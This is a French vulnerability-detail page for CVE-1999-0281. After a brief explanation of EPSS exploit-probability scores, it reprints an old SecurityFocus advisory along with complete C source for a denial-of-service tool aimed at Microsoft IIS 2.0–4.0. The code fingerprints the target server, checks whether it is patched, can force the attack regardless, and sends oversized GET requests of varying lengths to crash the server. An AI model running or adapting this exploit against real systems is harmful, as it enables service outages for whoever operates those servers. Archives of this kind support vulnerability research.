CVE-1999-0281 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/2654/info Microsoft Internet Information Server is vulnerable to a denial of service. This particular denial of service affects versions 2.0, 3.0 and 4.0 of the server prior to service pack 4. The URL which causes this issue is of the format "http://server/?anything=XXXXX" - note that no existing file need be requested. This is not a buffer overflow; a URL of specific length must be sent (between 4k and 8k), anything longer or shorter will not affect the server. /* Some days ago I found the page http://www.eden.com/~tfast/jihad.html Then I found the java program IIServerSlayer.class made by Todd Fast <[email protected]>, the author of the web pages. Now I have ported that program in gcc from java using strace and disassembling IIServerSlayer.class with javap (part of jdk). For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2 and glibc. by Andrea Arcangeli <[email protected]> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <unistd.h> #include <arpa/inet.h> #include <signal.h> int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(2); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(3); } return 0; } char *generate_die_string(int lenght) { char letter='X'; char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str; int i; str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1); strcpy(str,str_begin); for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter; str[i]=0; strcat(str,str_end); return (char *)str; } void IIServerSlayer(char *target,int lenght,int port,int flags) { char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0"; char *IIS_patch = "Bad Request"; int count = 0,return_status; if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(1); } if((return_status = open_sock(s,target,port))) exit(return_status); if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target); else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n" ,target); send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0); printf("Waiting for the reply from %s\n",target); buff[1]=0; while(recv(s,buff,1,0) == 1) { if(flags & 1) printf("%s",buff); else if(!div(count,50).rem) printf("."); if(count < 511) header[count]=buff[0]; count++; } printf("\n"); header[511]=0; if(strstr(header,IIS_string) == NULL && lenght == 0) { printf("This is not a Microsoft-IIS/3.0 web server\n"); if(!(flags & 2)) exit(0); } else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n"); if(strstr(header,IIS_patch) != NULL) { printf("This IIS/3.0 web server is patched against this exploit\n"); if(!(flags & 2)) exit(0); } close(s); } void main(int argc,char **argv) { int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid; if (argc < 2 ) { printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]); printf("[-v] = verbose mode to view the server reply\n"); printf("[-f] = force running over non or patched IIS/3.0 web server\n"); exit(0); } for(i=1;i<argc;i++) { if(!strcmp(argv[i],"-v")) { param++; flags |= 1; } if(!strcmp(argv[i],"-f")) { param++; flags |= 2; } } if(argc > param+2) lenght = atoi(argv[param+2]); if(argc > param+3) port = atoi(argv[param+3]); for(i=0;i<3;i++,lenght++) { if(i) IIServerSlayer(argv[param+1],lenght,port,flags); else IIServerSlayer(argv[param+1],0,port,flags); if(i == 1 || i == 0) lenght--; } if((pid = fork())) { if(pid == -1) { perror("I can' t fork\n"); exit(-1); } usleep(60000000); /* wait for 1 minute */ kill(pid,SIGTERM); } else { IIServerSlayer(argv[param+1],lenght,port,flags); printf("Sorry, %s is alive yet\n",argv[param+1]); } exit(0); }